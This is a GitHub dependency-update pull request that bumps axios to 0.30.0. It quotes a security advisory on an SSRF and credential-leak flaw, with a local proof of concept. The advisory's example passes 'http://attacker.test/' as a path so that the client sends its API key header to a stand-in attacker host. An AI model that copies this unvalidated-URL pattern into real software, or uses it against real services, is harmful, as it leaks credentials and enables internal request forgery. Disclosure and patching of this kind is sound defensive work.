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@renovate renovate bot commented May 9, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
axios (source) 0.28.0 -> 0.30.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v0.30.0

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Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

v0.28.1

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Release notes:

Release notes:

Bug Fixes
  • fix(backport): custom params serializer support (#​6263)
  • fix(backport): uncaught ReferenceError req is not defined (#​6307)

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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies label May 9, 2025
@SchroederSteffen SchroederSteffen self-assigned this May 9, 2025
@SchroederSteffen SchroederSteffen merged commit 54dbca1 into master May 9, 2025
7 checks passed
@SchroederSteffen SchroederSteffen deleted the renovate/npm-axios-vulnerability branch May 9, 2025 08:21
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🎉 This PR is included in version 8.1.0 🎉

The release is available on:

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3 participants